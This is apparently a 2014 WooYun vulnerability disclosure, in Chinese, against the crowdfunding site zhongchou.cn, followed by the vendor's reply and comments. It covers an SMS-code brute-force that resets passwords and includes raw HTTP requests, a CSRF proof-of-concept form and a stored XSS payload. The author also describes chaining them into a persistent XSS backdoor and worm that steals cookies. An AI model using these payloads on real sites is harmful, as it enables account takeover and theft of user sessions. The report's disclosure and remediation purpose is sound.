当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075641

漏洞标题:众筹网任意用户密码重置等多处安全漏洞(目测影响全站30多万用户,可以蠕虫并留XSS后门)

相关厂商:众筹网

漏洞作者: px1624

提交时间:2014-09-10 11:15

修复时间:2014-09-15 11:16

公开时间:2014-09-15 11:16

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-10: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

最近发的1个弱口令和2个SQL注入的漏洞都走了小厂商。然后思考原因后,感觉这次如果只发个重置密码,肯定是小厂商流程,如果只发个XSS或者CSRF肯定是不能通过的节奏。所以三个就一起发了,看看到底有啥利用和危害。目测影响全站30多万用户,还可以蠕虫并留永久后门,这次能给走个大厂商流程么?

详细说明:

一、首先是密码重置漏洞。
漏洞标题:爆破重置任意用户密码
缺陷URL:http://www.zhongchou.cn/user-modifypassword
1.进入网站找到【登录】按钮进入登录页面,点击登录框下面那个的【忘记密码】。
2.进入密码重置流程,然后【通过手机号码找回】。
3.输入手机号码,然后【获取短信校验码】。
4.手机将会收到一个6位数字的短信校验码,这里随意的填写了一个短信校验码,然后点击【提交】同时用burpsuite进行抓包。
5.抓包的请求如下:

POST /user-ajax_modifypassword HTTP/1.1
Host: www.zhongchou.cn
Proxy-Connection: keep-alive
Content-Length: 60
Origin: http://www.zhongchou.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://www.zhongchou.cn/user-modifypassword
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=8d382mdqgamnddmp6ssbvr6jf6; beid=1410311565464.6163; __ag_cm_=1410311458690; Hm_lvt_e89e365e0d0438aa7f6d6eab7960962c=1410312762; Hm_lpvt_e89e365e0d0438aa7f6d6eab7960962c=1410312762; __utma=78989535.628220890.1410311455.1410311455.1410311455.1; __utmb=78989535.6.10.1410311455; __utmc=78989535; __utmz=78989535.1410311455.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ncf1=1410311455063.2414.0006.0007.0006.0007.0; _ncf2=1410311455063.5753.0006.0007
passwd=a1234567&re_passwd=a1234567&ajax=&vcode=123456&ajax=1


6.那么,我开始对校验码参数vcode进行暴力破解了!
7.通过返回的的length或者返回的内容可以得出正确的短信码。

1.png


8.由于此处的设置,是预先填入了新密码了,所以只要成功爆破了正确验证码的请求,就等于是已经成功重置了密码了。
修补措施:
1.尽量不要将验证码设计为6位纯数字,如果设计,建议8位以上比较好。
2.短信码可以为纯数字,甚至4位的纯数字也没问题,但是应该限制连续错误的次数,比如连续输出错误10次就锁定本次重置密码的请求。
3. 或者设置页面是图片验证码,这样也可以防止暴力破解这种漏洞。
二、其次是CSRF漏洞。
漏洞标题:修改个人资料CSRF漏洞
缺陷URL:http://www.zhongchou.cn/settings
修改操作的请求如下:

POST /settings-save_index HTTP/1.1
Host: www.zhongchou.cn
Origin: http://www.zhongchou.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Accept: application/json, text/javascript, */*; q=0.01
Referer:
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=8d382mdqgamnddmp6ssbvr6jf6; beid=1410311565464.6163; __ag_cm_=1410311458690; Hm_lvt_e89e365e0d0438aa7f6d6eab7960962c=1410312762; Hm_lpvt_e89e365e0d0438aa7f6d6eab7960962c=1410313713; zcid=326297; __utma=78989535.628220890.1410311455.1410311455.1410311455.1; __utmb=78989535.36.9.1410313703019; __utmc=78989535; __utmz=78989535.1410311455.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ncf1=1410311455063.2414.0023.0027.0023.0027.0; _ncf2=1410311455063.5753.0023.0027
Content-Length: 155
Content-Type: application/x-www-form-urlencoded
user_id=326297&user_name=px1624&sex=0%2F&province=%E6%B1%9F%E8%A5%BF&city=%E6%96%B0%E4%BD%99&weibo_url=http%3A%2F%2Fwww.aaaaaaaaa.com&intro=bbbbbttt&ajax=1


由于请求没有校验referer信息,导致可利用外部POC构造form表单,从而CSRF执行别人的修改操作。POC测试代码如下:

<form id="csrfdemo" action="http://www.zhongchou.cn/settings-save_index" method="POST">
<input type='hidden' name='Referer:user_id' value='326297'><input type='hidden' name='user_name' value='px1624'><input type='hidden' name='sex' value='0/'><input type='hidden' name='province' value='江西'><input type='hidden' name='city' value='新余'><input type='hidden' name='weibo_url' value='http://www.aaaaaaaaa.com'><input type='hidden' name='intro' value='bbbbbttt'><input type='hidden' name='ajax' value='1'>
</form>
<button onclick="document.getElementById('csrfdemo').submit()">测试</button>


利用方式:将构造好的含有CSRF攻击代码的外部POC的URL直接发送给目标账户,只要目标点击了就会中招。
还可将缺陷URL以<img src='构造好的外部POC(含有CSRF缺陷)地址' > 这种形式插入到网站的其他地方,只要用户看到(加载)了这个图片,就会默认对<img>标签的src属性执行一次GET请求的操作,就会中招CSRF,攻击十分隐蔽。
修补措施:
严格校验referer信息或者加token验证。
三、最后是XSS漏洞。
漏洞标题:修改个人资料存在储存XSS漏洞
缺陷URL:http://www.zhongchou.cn/settings
缺陷的post请求抓包代码如下:

POST /settings-save_index HTTP/1.1
Host: www.zhongchou.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.zhongchou.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Referer: http://www.zhongchou.cn/settings
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=je51edg31ii38n54rbr7mcutf4; beid=1410313964230.9337; __ag_cm_=1410313854004; Hm_lvt_e89e365e0d0438aa7f6d6eab7960962c=1410313857; Hm_lpvt_e89e365e0d0438aa7f6d6eab7960962c=1410313970; zcid=326322; __utma=78989535.870389724.1410313854.1410313854.1410313854.1; __utmb=78989535.12.9.1410313963410; __utmc=78989535; __utmz=78989535.1410313854.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ncf1=1410313853833.5700.0009.000a.0009.000a.0; _ncf2=1410313853834.1476.0009.000a
Content-Length: 209
Content-Type: application/x-www-form-urlencoded
user_id=326322&user_name=px16241&sex=0%2F&province=%E6%B9%96%E5%8C%97&city=%E5%92%B8%E5%AE%81&weibo_url=http%3A%2F%2Fwww.aaaaaaa%22%3E%3Cimg+src%3D1+onerror%3Dalert%281%29%3Eaaaaa.com&intro=bbbbbbbbbbtt&ajax=1


由于参数weibo_url对XSS特殊字符过滤的不严密,导致可以插入特殊字符进而进行相关构造,最终成功XSS。

2.png


然后这个位置的输出点还有很多,比如直接用默认登录页面登陆后的这个地址,也会触发XSS。

3.png


还有下面的那4个大功能的页面都会触发XSS。

4.png


修补措施:
由于本站cookie是没有http-only的,因而XSS并可以直接获取本站的用户登陆信息,即对网站自身的账户产生的影响较大。
修补方法很简单:过滤掉造成XSS漏洞的特殊字符即可。
综合后进行危害的描述:
1 重置密码:这个6位纯数字,有高速服务器的话,爆破起来是很快的,但是乌云会认为一般人没有这个条件,利用成本高,所以这个就看厂商怎么理解了,个人认为这些设备对于职业黑客来说,还是比较小case的。成功爆破,就可以重置用户密码,达到完全控制帐号的节奏。
2 CSRF:单看这个漏洞,貌似没啥影响,大不了就是用户个人资料被修改呗,又没啥大问题。但看这个漏洞的话,的确是这样的,那么继续看下面。
3 XSS:但看这个XSS,也没啥危害,明显是一个自己XSS自己的漏洞,如果单独提交,肯定是会被忽略的。
好了,这里我要说的是,虽然2中的CSRF和3中的XSS单独来利用的确没啥危害,但是如果将其结合在一起呢?
结果就是危害很大!可以给用户埋一个永久的XSS后门,而且由于网站全站请求没有token,所以还可以用来进行蠕虫攻击!
解释下为什么会这么说:
这里首先黑客可以设计好XSS攻击的代码,然后将其构造在外部POC的form表单中,然后将代码传到自己的服务器上。接着再将自己服务器的地址发给目标用户,或者以超链接的形式发到其他地方,或者以<img src="黑客用户攻击的URL">的形式埋在其他位置。
这样,用户不管以何种方式请求了此连接(上面也说到了,看到那个图片也会等于执行了一次GET请求),都等于中招了CSRF攻击,然后便会执行提交黑客服务器的那个form表单,然后就会修改了自己的个人资料,给自己那个位置种下一个XSS后门,然后这个后门还会存在与上面好多位置,每次登录也会触发后门。这里肯定是可以通过构造闭合将这里修饰的和正常网页一模一样的,我没这么做是为了让问题描述起来更直观而已。
最后不要忘了2个重要的问题,这个XSS后门还可以发起蠕虫、而且网站没httponly,利用XSS盗取cookie后,就可以直接登录用户账户了!

漏洞证明:

看上面。

修复方案:

具体修补措施,上面的每个漏洞也都提到了,这里建议可以的话,还是把http-only和token都给加上吧。写了这么多,20rank + 礼物 ,有么有~~

版权声明:转载请注明来源 px1624@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-15 11:16

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

2014-09-15:对于这个漏洞,1 6位验证码,已经是注意到防止爆破这件事情了,虽然仍然可以多线程破解,但是只是理论上的可能,针对频率的监控及更改密码的数量是有监控的。2-3 一起加上作者挖洞,码字不易,再加上确认晚了,所以希望乌云可以补给作者10 RANK。多谢


漏洞评价:

评论

  1. 2014-09-10 11:23 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    目测小漏洞,找个屌些的厂商吧

  2. 2014-09-10 11:29 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:145 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    都没上首页 肯定小厂商了

  3. 2014-09-10 11:35 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @大亮 @孤独雪狼 这年头走个大厂商流程太难了。上首页了不到5分钟。。。

  4. 2014-09-15 09:25 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    。。。感觉今天就5天了啊。。。又会忽略么

  5. 2014-09-15 09:25 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @众筹网